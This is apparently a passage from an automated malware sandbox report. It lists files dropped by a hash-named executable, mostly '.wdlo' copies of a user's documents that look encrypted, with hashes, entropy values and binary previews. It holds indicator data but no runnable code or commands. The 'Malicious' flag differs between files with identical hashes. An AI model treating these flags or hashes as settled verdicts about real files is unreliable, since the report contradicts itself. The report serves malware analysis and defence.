.Fnn..5.#.P...Ou..-....4.M..v...V..FV.A.{.D...1....#V.:..nK......D...w.i....ZB.......0....C...........k.{.V.5......D..43+...&0.X.A..+e....D.c..?f.........d.8.60.k!t.v........C..C.O.S\./...!..k..1..H.OvWZ.p.;UHr..$Y.&CP....p.. ...&o.4.w.}..........=./.....C.9..U..H....l....g.N.=..e. .)...6.Q%....K"..2....f...Dg$.....eS3{Q>.7..S..]...c..<.5..S.......Nv.N......j....M.r./."S..+..Z%....8?.. .....P#....}]1Bs.d[.../.7..#..x..\.DIg...\|...".'....}....%Vc.n)y..A.

C:\Users\user\Desktop\GAOBCVIQIJ.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842500263174559
Encrypted:	false
SSDEEP:	24:jZr/S3iSmVqsMqwETKoX0Lj9qZVVZ2XYLpw1M0e2BGEuB7P2XhcVqvsWmL8Y5BNT:lW3kVC8KoX0NqZTZWmWBeyuB7P2uVqv+
MD5:	B069EEA81A27E02DA882C561CAB95CCC
SHA1:	E5ED9EF6A81EB8BFF4FB69C6434EF9227722EDCD
SHA-256:	B0362C613675C48B484FFCDD40869BFF0B1DFD7817310B7202883AF5C9D658FC
SHA-512:	EEB1DE7B83B0EAA4BBEB3B21671033E569AF387686E40FBDA0CC04CE7EAF9D6E6A87040FEA05255ED7C921A3AB568220B63132F47482AF4FE1CFA8444820D2D1
Malicious:	false
Preview:	GAOBC.7...:.Q.2...C.Tgb..b.>...h..u......1.O.s..FF.`. }m.N..:....GYs".hd...{./.nx&C....%.1.8{..\...&.j...!iA.z.U.=.nq..t.8.Z<.vR..j.....Z..~...........K.....u...A.+y6.'u.dJH......[.&.....#e.W...4...\..'lB9".A..u.....W...3..;......P.>...L......].S.4N.\.Q..S6..J!..6...cX..h..C.>..sDx/(....F,h...v....+.^.:\|...........sbA.4V...r..v.g..4.1.$.....~....e}]...C_)4...Z...@]..kn{.-..D...%...S......D.0(.....^..UaO;.}Pl..........b Ic.j.O_..]}.O..B..p.a..O.[?.p.k0~.B..5..:cS4..D....e........W .Fnn..5.#.P...Ou..-....4.M..v...V..FV.A.{.D...1....#V.:..nK......D...w.i....ZB.......0....C...........k.{.V.5......D..43+...&0.X.A..+e....D.c..?f.........d.8.60.k!t.v........C..C.O.S\./...!..k..1..H.OvWZ.p.;UHr..$Y.&CP....p.. ...&o.4.w.}..........=./.....C.9..U..H....l....g.N.=..e. .)...6.Q%....K"..2....f...Dg$.....eS3{Q>.7..S..]...c..<.5..S.......Nv.N......j....M.r./."S..+..Z%....8?.. .....P#....}]1Bs.d[.../.7..#..x..\.DIg...\|...".'....}....%Vc.n)y..A.

C:\Users\user\Desktop\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8526818790500545
Encrypted:	false
SSDEEP:	24:zgAPHwrV1rtxkHew/q0adkr8O/smTVHEjAKJ6XVXD8wsHS4ImdSaj53zbD:zgKwZ1rQHxadzmlEjAKJARD8wsHIMSah
MD5:	DC42ECEE245BD89786290D6A58AF028C
SHA1:	73DB257C705F07030DB01F70E3AA21EA14F88209
SHA-256:	A32D665FA815F166C5BDFFC0669F32884A11CDE64A78DD0B1ADFF4A8FC550225
SHA-512:	06C6CDBE623B63291B32912D254E2DBE35AFF1615AC5B8A7C3A6C06162DE1E8B15265346E5521DDDDAB494BFC01234F4D30B734DA3D70266994E96DBB1D77985
Malicious:	true
Preview:	IPKGE3..D.....W&...CM.YQ-...0.Uy...z.G...cB/1...d>X.mi.0.......'..&.?1"1..N>...... ."[~..q.rX. L.Ru^....1....%9)i......P...'....I^....... .......f..p...(.....7o..J.........g....E\|..g...a.tN...l.@XzY..P..Xu.d.sj]...u..'o.r.9....<S..s3.!..y.F1..L...R.Tm..#.m8.................y.v......1..,1.P.............<...Gv.]...><...6.t......^..!.\.~..C.]...k.\|..n'.[..6mG....v...^.. ..c...8c.<...3..ON].Ah..S....?.4BM.)R..Q..yy?....S.P..f.g..#.Z.l3.C..=.x..w.kv.......};...>.vB.:H?...b.{V........6l.....Mv..^2TW."..i.Z..5......&..K."..Xi7.......NV.....{QD{g...p....Y..@.XXF........$.cb..!vN..x..t\..,b.7..d..ie.B.du..~.H.U.$..2..d.....S.A,e&...c........Ym.(i8..rl..3.i...^...0..}"}.....&[..z\|30.p....Z........z....7..n.....;..G.(<......Tl....F.....x1 ~.....lXWE..c..L,.#w...2.....R.U8...k.?P.. .hr.T#..j..;V.-..B.F.....a...I/.....j<...i....v....]<..CD.lY...^GF..*....m~t...21 .a.<U,.ID..Q+.Kr.8...M..e..Z...<........b..HJ.EaR.Q$%...q....<.[eD2....c_G.

C:\Users\user\Desktop\IPKGELNTQY.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8526818790500545
Encrypted:	false
SSDEEP:	24:zgAPHwrV1rtxkHew/q0adkr8O/smTVHEjAKJ6XVXD8wsHS4ImdSaj53zbD:zgKwZ1rQHxadzmlEjAKJARD8wsHIMSah
MD5:	DC42ECEE245BD89786290D6A58AF028C
SHA1:	73DB257C705F07030DB01F70E3AA21EA14F88209
SHA-256:	A32D665FA815F166C5BDFFC0669F32884A11CDE64A78DD0B1ADFF4A8FC550225
SHA-512:	06C6CDBE623B63291B32912D254E2DBE35AFF1615AC5B8A7C3A6C06162DE1E8B15265346E5521DDDDAB494BFC01234F4D30B734DA3D70266994E96DBB1D77985
Malicious:	false
Preview:	IPKGE3..D.....W&...CM.YQ-...0.Uy...z.G...cB/1...d>X.mi.0.......'..&.?1"1..N>...... ."[~..q.rX. L.Ru^....1....%9)i......P...'....I^....... .......f..p...(.....7o..J.........g....E\|..g...a.tN...l.@XzY..P..Xu.d.sj]...u..'o.r.9....<S..s3.!..y.F1..L...R.Tm..#.m8.................y.v......1..,1.P.............<...Gv.]...><...6.t......^..!.\.~..C.]...k.\|..n'.[..6mG....v...^.. ..c...8c.<...3..ON].Ah..S....?.4BM.)R..Q..yy?....S.P..f.g..#.Z.l3.C..=.x..w.kv.......};...>.vB.:H?...b.{V........6l.....Mv..^2TW."..i.Z..5......&..K."..Xi7.......NV.....{QD{g...p....Y..@.XXF........$.cb..!vN..x..t\..,b.7..d..ie.B.du..~.H.U.$..2..d.....S.A,e&...c........Ym.(i8..rl..3.i...^...0..}"}.....&[..z\|30.p....Z........z....7..n.....;..G.(<......Tl....F.....x1 ~.....lXWE..c..L,.#w...2.....R.U8...k.?P.. .hr.T#..j..;V.-..B.F.....a...I/.....j<...i....v....]<..CD.lY...^GF..*....m~t...21 .a.<U,.ID..Q+.Kr.8...M..e..Z...<........b..HJ.EaR.Q$%...q....<.[eD2....c_G.

C:\Users\user\Desktop\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8578643316748105
Encrypted:	false
SSDEEP:	24:FKUGl4hCMRfcLLfcxYQ2xKxFxld1PLEzA5YjXZ3AjYDD3zbD:SuMMRwfcxYRxKxT1gzAGjXxAEX3nD
MD5:	AD0A70499BD29977C29461DB4970D672
SHA1:	DC2487D43C1DA8ABED9CF4560CFD24B95FE1B411
SHA-256:	EE060BE890F4A1B7E2A7EDEAA7AC5C81832A32D2C057064CC124740833CF55AE
SHA-512:	A49D43D45A1E21B20DFAF16023BE7CFCFD98E2FAF92BA08D72A69117846ACF77B9039DBF8710D07A4843B41364986376A280FE3A2D63C7DB372FA75CAB552C86
Malicious:	false
Preview:	IPKGE...{...^.mX;G...Hop.i..NM..#.N.N.....76..b.......j.....\|+...8.&..1....U.M..'.\...\..?n-.......5....%.z.W..6..2O..C...-..g..D...Z...Zy.>.fs.U.~{..I.3/n&.X..C.3..=.......nj....=O..^o.K....:tj6....O..l.LHRo.\|.0...Z..:;..A~.c.......n#...+3...r.....yD.mf..7.K....~....j.$......7.......V.....%.6#.}..B8..n!....@a..P....O.0..I =.b...m..~.RkGALA.....x.{.[..X.B._m.....x..Be..o.0.....x\|....7.b. .....0C.[.`...f....,..s....%4.-.k2G3.2...`.,...5.>.z....q0.( =..........z2.ll... .a.Y-..g..^3...'.h.$..- :..$]{.<h.>.x...Cn.S..0..u<.......Kf2.i6t...T[.............gAI..#R.Zk..v.y.H............8..T.......X..m._.;b..........i..2.x...O"E.q.B....De...[(.."...g.{n`V...:....m%M{.b4.&s... #.J.........XA..X.. .#.\.Lxg[_.."....L...^.y......;H<Q.....D.".L.w.gd5.....O.>..MT&o.q.=.@w-...>E.......x\.W.....'.#.J.+.tyK.J.Ih....o.E...F..B......>..#L.I...z.=..:..\...>P..W.K.B...,\.-..{.Cf......j....l....$..H..t..bh..N..k.!hF...p.u8#@...K.....Ia=e......G..)..{...

C:\Users\user\Desktop\IPKGELNTQY.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8578643316748105
Encrypted:	false
SSDEEP:	24:FKUGl4hCMRfcLLfcxYQ2xKxFxld1PLEzA5YjXZ3AjYDD3zbD:SuMMRwfcxYRxKxT1gzAGjXxAEX3nD
MD5:	AD0A70499BD29977C29461DB4970D672
SHA1:	DC2487D43C1DA8ABED9CF4560CFD24B95FE1B411
SHA-256:	EE060BE890F4A1B7E2A7EDEAA7AC5C81832A32D2C057064CC124740833CF55AE
SHA-512:	A49D43D45A1E21B20DFAF16023BE7CFCFD98E2FAF92BA08D72A69117846ACF77B9039DBF8710D07A4843B41364986376A280FE3A2D63C7DB372FA75CAB552C86
Malicious:	false
Preview:	IPKGE...{...^.mX;G...Hop.i..NM..#.N.N.....76..b.......j.....\|+...8.&..1....U.M..'.\...\..?n-.......5....%.z.W..6..2O..C...-..g..D...Z...Zy.>.fs.U.~{..I.3/n&.X..C.3..=.......nj....=O..^o.K....:tj6....O..l.LHRo.\|.0...Z..:;..A~.c.......n#...+3...r.....yD.mf..7.K....~....j.$......7.......V.....%.6#.}..B8..n!....@a..P....O.0..I =.b...m..~.RkGALA.....x.{.[..X.B._m.....x..Be..o.0.....x\|....7.b. .....0C.[.`...f....,..s....%4.-.k2G3.2...`.,...5.>.z....q0.( =..........z2.ll... .a.Y-..g..^3...'.h.$..- :..$]{.<h.>.x...Cn.S..0..u<.......Kf2.i6t...T[.............gAI..#R.Zk..v.y.H............8..T.......X..m._.;b..........i..2.x...O"E.q.B....De...[(.."...g.{n`V...:....m%M{.b4.&s... #.J.........XA..X.. .#.\.Lxg[_.."....L...^.y......;H<Q.....D.".L.w.gd5.....O.>..MT&o.q.=.@w-...>E.......x\.W.....'.#.J.+.tyK.J.Ih....o.E...F..B......>..#L.I...z.=..:..\...>P..W.K.B...,\.-..{.Cf......j....l....$..H..t..bh..N..k.!hF...p.u8#@...K.....Ia=e......G..)..{...

C:\Users\user\Desktop\IPKGELNTQY\BNAGMGSPLO.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874176746645119
Encrypted:	false
SSDEEP:	24:Z8S9SPgIvpeeLE7mqQGAK0fmSi8V/LNblXlouIwJePF0eoN/+cOxRMNzv+5A1Dbp:vJyqdi/LXXlEbPFUGTxRM2AJbln3nD
MD5:	456A7B2048E174EC9FDAFEB7D90061F1
SHA1:	D96015B892BA99D6FC2B7893BEA7F134FA4A615B
SHA-256:	CB7D7EA243E6A6FCE2AD9CC2455C6CFB69F2B47DF29B383B0275BE5E3F7B0652
SHA-512:	47A47B0E663270981CAE19E554BC289924C906F3D64CEADDE500B56A5D85905EE74291D21ED4631403BFCDC2A6EFB14E0FDA1EB114570E67ADE6A2CAFC388E59
Malicious:	false
Preview:	BNAGM.)8........s.........;..8...nw.....L..4...f.H.# .G...w.p..3....op8.y1.6.y!.z..TQ\|..;..e.o..e.:.nhy3....q..4.B..S......6...m4......9yrs...-.....I16...n9.6...{:....?.....lR..q7J.xE.....<4..M%.Q... .ZXuW.H...P.......og.S...r(v5..3!....n..7Cm........2Hl.x..3........R>.x. ....?.R.U..=..=..U.$+...NC.B.7..1..3......;9.eW....\H..[ y.K.L.Mg.VQ..U&.~....t....,.E..)..>.5.:3....c^}.B..../dH.%...p...Z....c.V.r..'..~=..........$..a..p.h.......Q>."kP.E..../.R........n......:..r.Y..px........wm..?...#.........X^.A.O..w;=.o..D...<J..v...T.i..Q....F.flj.Pl.1.m..Iv....\|....J.?.yK..'.....MJ{.g...k.....(......:.........y~Nd..^.....%..k.t...<e!.. ....PF..a.(..d%}Q...^...8=..U...*6...Q1Fvs..>....g.........u..i..Pr.......A.m.;..-....Y.=..N..vhHrD....D;R=.....<@..1...6D...3.;.c......_...]....~@.5.J..j.\|......8....T.3$....4..@.g..Y.R..C.......6.xL.....C.V.8...9Z]5{.Q...nX...3...Z....d~`d.<M.V.....gb\7.d}.,..2..n.~.c..]J..41z3Q.#....B.pu.>.....=/

C:\Users\user\Desktop\IPKGELNTQY\BNAGMGSPLO.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874176746645119
Encrypted:	false
SSDEEP:	24:Z8S9SPgIvpeeLE7mqQGAK0fmSi8V/LNblXlouIwJePF0eoN/+cOxRMNzv+5A1Dbp:vJyqdi/LXXlEbPFUGTxRM2AJbln3nD
MD5:	456A7B2048E174EC9FDAFEB7D90061F1
SHA1:	D96015B892BA99D6FC2B7893BEA7F134FA4A615B
SHA-256:	CB7D7EA243E6A6FCE2AD9CC2455C6CFB69F2B47DF29B383B0275BE5E3F7B0652
SHA-512:	47A47B0E663270981CAE19E554BC289924C906F3D64CEADDE500B56A5D85905EE74291D21ED4631403BFCDC2A6EFB14E0FDA1EB114570E67ADE6A2CAFC388E59
Malicious:	false
Preview:	BNAGM.)8........s.........;..8...nw.....L..4...f.H.# .G...w.p..3....op8.y1.6.y!.z..TQ\|..;..e.o..e.:.nhy3....q..4.B..S......6...m4......9yrs...-.....I16...n9.6...{:....?.....lR..q7J.xE.....<4..M%.Q... .ZXuW.H...P.......og.S...r(v5..3!....n..7Cm........2Hl.x..3........R>.x. ....?.R.U..=..=..U.$+...NC.B.7..1..3......;9.eW....\H..[ y.K.L.Mg.VQ..U&.~....t....,.E..)..>.5.:3....c^}.B..../dH.%...p...Z....c.V.r..'..~=..........$..a..p.h.......Q>."kP.E..../.R........n......:..r.Y..px........wm..?...#.........X^.A.O..w;=.o..D...<J..v...T.i..Q....F.flj.Pl.1.m..Iv....\|....J.?.yK..'.....MJ{.g...k.....(......:.........y~Nd..^.....%..k.t...<e!.. ....PF..a.(..d%}Q...^...8=..U...*6...Q1Fvs..>....g.........u..i..Pr.......A.m.;..-....Y.=..N..vhHrD....D;R=.....<@..1...6D...3.;.c......_...]....~@.5.J..j.\|......8....T.3$....4..@.g..Y.R..C.......6.xL.....C.V.8...9Z]5{.Q...nX...3...Z....d~`d.<M.V.....gb\7.d}.,..2..n.~.c..]J..41z3Q.#....B.pu.>.....=/

C:\Users\user\Desktop\IPKGELNTQY\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866009105310425
Encrypted:	false
SSDEEP:	24:IYznXs63jlgL8wE2qdgHpGPg3nPJpS7xPCS6xOz+Dhl+kyW0DaLyDx3zbD:IKc6ZETE2qdgHpNPe976sz0l+kyV+yD9
MD5:	0DDB4CEE1574ABE36E58C98BFCFC1D07
SHA1:	75258CF40EF61A636B5A5D3DE7F52BDDA03374B1
SHA-256:	5E29A72B8B932AC3F9B906451AD94A469C1264608CD068B57BD3ECB9F9107362
SHA-512:	C52F9D120988B347B35C3B57E65C531D06B4595BCE497B1E43531301497C160ABEB083053B71CF6A83EE87EF7B47F215C0998FF8EBAADA98CFAF54974B49B701
Malicious:	false
Preview:	GAOBCt.$.J.o.....K..(..D.CTm.......@...AE..n.K.....vz.......q02..:.Rx....A..N...T....;...)...3............\6...T..k.)..V.....b..].7.};P....!......K...tW.$..gN..X....2...`...M...T..k......T....#dg.0TZ......#...A#...4.9~....`B.......[E.9.6.N........t.\...Y..S.^../_+.-;=GEEYu....ijP.c....sn]cGX.T....O.._z.A..=.+..jr.d.g....-.;Q..a....2D\|.%Tk.7....%..P...('.../0+.. ...a..BB\..\|..lV..._..\|....:...X.....p.^........z....Z....q.V02o.5.r.v\|OI.Yl.....~w..xM.h.8...q.CH0..3..ol...M.!k.U...}.R....!t....;._fb.f6.......R+./s.._.F./u.Y.E7:..b......0!`V..>....U......@...D.w].....G....F..D.+.J.&...g^.........3.>.N.f..8..._...zco[.+.f..u1?HZ.}{?.........1.....n....n...N.x..%......$.....g..........1....Fb........8.$.... ..k..(..OP..nfV....\|..`..zN..%a.m..J........0......Z5..!..Z.PC..'....`.`(.Y.......D.1Lc........Wd.D3.B.........I8......].w".~.....,.#YO4.o.al..~.mwK:9......%........V@.Z.@s+..g!.. 3dJ=Yt...=~j...E.&F.'..M..5...L....1g......"

C:\Users\user\Desktop\IPKGELNTQY\GAOBCVIQIJ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866009105310425
Encrypted:	false
SSDEEP:	24:IYznXs63jlgL8wE2qdgHpGPg3nPJpS7xPCS6xOz+Dhl+kyW0DaLyDx3zbD:IKc6ZETE2qdgHpNPe976sz0l+kyV+yD9
MD5:	0DDB4CEE1574ABE36E58C98BFCFC1D07
SHA1:	75258CF40EF61A636B5A5D3DE7F52BDDA03374B1
SHA-256:	5E29A72B8B932AC3F9B906451AD94A469C1264608CD068B57BD3ECB9F9107362
SHA-512:	C52F9D120988B347B35C3B57E65C531D06B4595BCE497B1E43531301497C160ABEB083053B71CF6A83EE87EF7B47F215C0998FF8EBAADA98CFAF54974B49B701
Malicious:	false
Preview:	GAOBCt.$.J.o.....K..(..D.CTm.......@...AE..n.K.....vz.......q02..:.Rx....A..N...T....;...)...3............\6...T..k.)..V.....b..].7.};P....!......K...tW.$..gN..X....2...`...M...T..k......T....#dg.0TZ......#...A#...4.9~....`B.......[E.9.6.N........t.\...Y..S.^../_+.-;=GEEYu....ijP.c....sn]cGX.T....O.._z.A..=.+..jr.d.g....-.;Q..a....2D\|.%Tk.7....%..P...('.../0+.. ...a..BB\..\|..lV..._..\|....:...X.....p.^........z....Z....q.V02o.5.r.v\|OI.Yl.....~w..xM.h.8...q.CH0..3..ol...M.!k.U...}.R....!t....;._fb.f6.......R+./s.._.F./u.Y.E7:..b......0!`V..>....U......@...D.w].....G....F..D.+.J.&...g^.........3.>.N.f..8..._...zco[.+.f..u1?HZ.}{?.........1.....n....n...N.x..%......$.....g..........1....Fb........8.$.... ..k..(..OP..nfV....\|..`..zN..%a.m..J........0......Z5..!..Z.PC..'....`.`(.Y.......D.1Lc........Wd.D3.B.........I8......].w".~.....,.#YO4.o.al..~.mwK:9......%........V@.Z.@s+..g!.. 3dJ=Yt...=~j...E.&F.'..M..5...L....1g......"

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825348964837593
Encrypted:	false
SSDEEP:	24:xQenL0HFbV3rNFKERWkSV853vy1fVZOdR3UTP2PhRAuPFm+PKn3zbD:5L0H77NfckSKy1fq7GeXdPgiu3nD
MD5:	3A7583050DF456D3AF0BFB6DDBD7D976
SHA1:	ED4C9F358C46D0F0CF9BE222BEF8F86F12248F41
SHA-256:	72661120AC0E0E96C6895877E113E3F86DFA90837337077492BB6ED74A59B8B0
SHA-512:	BF99C70CE5143C50106C59A28F527C62DD05B422501DD40E43FC51A3F614F5400EC7CB974E613EBAF453E08410E771EB81315406F4B2610880D19F72957A2A68
Malicious:	false
Preview:	IPKGE..W...d..)..........e..N.........!6.HKO.hDV....rx..M......^!...&...`......b..#..r$.Ep...~.N....38.Q.%V%....@..5c.!..?..3?.j.v.amr.{s.....x0...1=kQw....z...Ss......k.`..l-.)....lk..k&V....T;.!1..N..f.RH..x$.?.#.L.\|...$[..;.Y.$..60.F..kY..1{]-.{}......-n....`C:1.......:Y.g#..Ns.....4v.E>i.A->....>..;B(.O(...........+Y...>P8.Y.......".6/.2...}0.Ky4.8...G.....k.M.u.......a.....t.....p..T#.W....Z.ENW....,.\G.0....5x...q.?3/.........4.m....Jt.;...-Um+.h...........^..r....?..`7.7=.z.....).RM....\...B..-.<...9...t.z..N..Y.Vuh.[..DcI...F........h......#..S!.`.L.V.:0.~.3.%./...$...mv..}o...@.....g.....570?...eG.._....`.%.OR@..."\|.....;.N.~..A.j.$'w.{DGP...\..P.k..Z.Na"7...@+.8.....<.^_].mw.....9jzz.....g.......%.@.c.O!.l....e.....*yv....w5o.=.......K.^..V..5eN.D.!>:...;....~..6..........Y.H...{.gG2M...)m%....k2..;.......-p4..].O3.....4.......4..U...Z..........'.#.C.3.7.6......\79..W.\|........<D\|.a`DZC.#z.......ld.F....#..l5....E....d..Z.6m..@.B.O

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825348964837593
Encrypted:	false
SSDEEP:	24:xQenL0HFbV3rNFKERWkSV853vy1fVZOdR3UTP2PhRAuPFm+PKn3zbD:5L0H77NfckSKy1fq7GeXdPgiu3nD
MD5:	3A7583050DF456D3AF0BFB6DDBD7D976
SHA1:	ED4C9F358C46D0F0CF9BE222BEF8F86F12248F41
SHA-256:	72661120AC0E0E96C6895877E113E3F86DFA90837337077492BB6ED74A59B8B0
SHA-512:	BF99C70CE5143C50106C59A28F527C62DD05B422501DD40E43FC51A3F614F5400EC7CB974E613EBAF453E08410E771EB81315406F4B2610880D19F72957A2A68
Malicious:	false
Preview:	IPKGE..W...d..)..........e..N.........!6.HKO.hDV....rx..M......^!...&...`......b..#..r$.Ep...~.N....38.Q.%V%....@..5c.!..?..3?.j.v.amr.{s.....x0...1=kQw....z...Ss......k.`..l-.)....lk..k&V....T;.!1..N..f.RH..x$.?.#.L.\|...$[..;.Y.$..60.F..kY..1{]-.{}......-n....`C:1.......:Y.g#..Ns.....4v.E>i.A->....>..;B(.O(...........+Y...>P8.Y.......".6/.2...}0.Ky4.8...G.....k.M.u.......a.....t.....p..T#.W....Z.ENW....,.\G.0....5x...q.?3/.........4.m....Jt.;...-Um+.h...........^..r....?..`7.7=.z.....).RM....\...B..-.<...9...t.z..N..Y.Vuh.[..DcI...F........h......#..S!.`.L.V.:0.~.3.%./...$...mv..}o...@.....g.....570?...eG.._....`.%.OR@..."\|.....;.N.~..A.j.$'w.{DGP...\..P.k..Z.Na"7...@+.8.....<.^_].mw.....9jzz.....g.......%.@.c.O!.l....e.....*yv....w5o.=.......K.^..V..5eN.D.!>:...;....~..6..........Y.H...{.gG2M...)m%....k2..;.......-p4..].O3.....4.......4..U...Z..........'.#.C.3.7.6......\79..W.\|........<D\|.a`DZC.#z.......ld.F....#..l5....E....d..Z.6m..@.B.O

C:\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841862347288821
Encrypted:	false
SSDEEP:	24:KdD4cdA9d1VffrulvK+FKS3EhK2CYROOrJ/PVGK2dr/NG9xu7OXUPPtVB9ZEm29T:KdD4cmRylvVKS3EE2CY4OrJ/PVGK2/Ip
MD5:	D499D00794A6D43645D6517B0723DF37
SHA1:	946CBECC27BC5D9715342A557FF5DB5E81DDF1C9
SHA-256:	A62629B5295E994765517C9F6C8CECA4A83E2779110E4A2084D107867BAB948E
SHA-512:	42C0FD8760E18FC8820363820265BF303382C3C53956A0DAC13E9EBD9E8E58AB6AD81B4549F4AE544D2C754980EE3AECD6FE971644FE12FB5FE131A1899F78C0
Malicious:	true
Preview:	LSBIH........]..xq...N.Y.W....O@......On...d.9.l.>):.Wy..r...h..W.D.7./Z......x$I....Q0.Y..>.%".Q.......yIo.A.5.6...9.M.$..[v.".\|.]w}.V..(..:.....&......%._.;F....<F.a0'..1.[/.jU......../.._...<........V..+x...Z...^..q9n/9IA8.S.~..S%...#.`.........l.{].T.........R.P.&.1.j.K~oc.......8....P.fl}...{...\..1#.9.%jb.q.....5.Y:..C.t.h...[sIi....{.fn8._.....yBXm......ZwaH"<..4Kw.8/>..%...q$g.`.7pI.ddPbB.......&.O.,..Oq.b...e..3.k fA.\|{Kp...]......i...D....:....}..K..v...4..G.&q&..T..a.#.V..E.#....B..a.J.:.!...p........3.O..[...;2p...r..F..9.......y@..o~...W:..1.....W.+...=6..K.>5..9....[.T.ZS'a.P.....M.....;.G........w].+d........._P:.`..4.z..c..A.....sp_+r..a.\|.R....xg-....1..E...=v.7...;.Tr....Y..A..@...P..........B.8..u.....A.y..kr...(..J.V......./s.9E\|.e..).....)..O.mB.....^.m......$..Yw7.0.LwC..6......Z.G.c\....!m.v*..3.B^..J.f.)..u.....)y.{r.......]y.Q..$b.%2C....taM....}P"...V.1-O.qZ.....v,....S6..+.'.AY...m.^?...e.n^.u."........6...n..

C:\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841862347288821
Encrypted:	false
SSDEEP:	24:KdD4cdA9d1VffrulvK+FKS3EhK2CYROOrJ/PVGK2dr/NG9xu7OXUPPtVB9ZEm29T:KdD4cmRylvVKS3EE2CY4OrJ/PVGK2/Ip
MD5:	D499D00794A6D43645D6517B0723DF37
SHA1:	946CBECC27BC5D9715342A557FF5DB5E81DDF1C9
SHA-256:	A62629B5295E994765517C9F6C8CECA4A83E2779110E4A2084D107867BAB948E
SHA-512:	42C0FD8760E18FC8820363820265BF303382C3C53956A0DAC13E9EBD9E8E58AB6AD81B4549F4AE544D2C754980EE3AECD6FE971644FE12FB5FE131A1899F78C0
Malicious:	false
Preview:	LSBIH........]..xq...N.Y.W....O@......On...d.9.l.>):.Wy..r...h..W.D.7./Z......x$I....Q0.Y..>.%".Q.......yIo.A.5.6...9.M.$..[v.".\|.]w}.V..(..:.....&......%._.;F....<F.a0'..1.[/.jU......../.._...<........V..+x...Z...^..q9n/9IA8.S.~..S%...#.`.........l.{].T.........R.P.&.1.j.K~oc.......8....P.fl}...{...\..1#.9.%jb.q.....5.Y:..C.t.h...[sIi....{.fn8._.....yBXm......ZwaH"<..4Kw.8/>..%...q$g.`.7pI.ddPbB.......&.O.,..Oq.b...e..3.k fA.\|{Kp...]......i...D....:....}..K..v...4..G.&q&..T..a.#.V..E.#....B..a.J.:.!...p........3.O..[...;2p...r..F..9.......y@..o~...W:..1.....W.+...=6..K.>5..9....[.T.ZS'a.P.....M.....;.G........w].+d........._P:.`..4.z..c..A.....sp_+r..a.\|.R....xg-....1..E...=v.7...;.Tr....Y..A..@...P..........B.8..u.....A.y..kr...(..J.V......./s.9E\|.e..).....)..O.mB.....^.m......$..Yw7.0.LwC..6......Z.G.c\....!m.v*..3.B^..J.f.)..u.....)y.{r.......]y.Q..$b.%2C....taM....}P"...V.1-O.qZ.....v,....S6..+.'.AY...m.^?...e.n^.u."........6...n..

C:\Users\user\Desktop\IPKGELNTQY\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854824631794456
Encrypted:	false
SSDEEP:	24:ONUj/71xsoZG+ApwZGrvykMCQf5ZMnLO7IXKwnSyRtWU/Pel9qR1N6/z3zbD:7ZOoZGPpwZGr6kMCyZMLewvRtWaWlSe3
MD5:	10C15D721AC0DFB1FE443E3C29A76F4F
SHA1:	74852D0699F878A12876D717A522ACFB802F3DEB
SHA-256:	D7C19D25B72B21D262319D60655E57430E4CF75AA8A738898CB9B340DDCE87BC
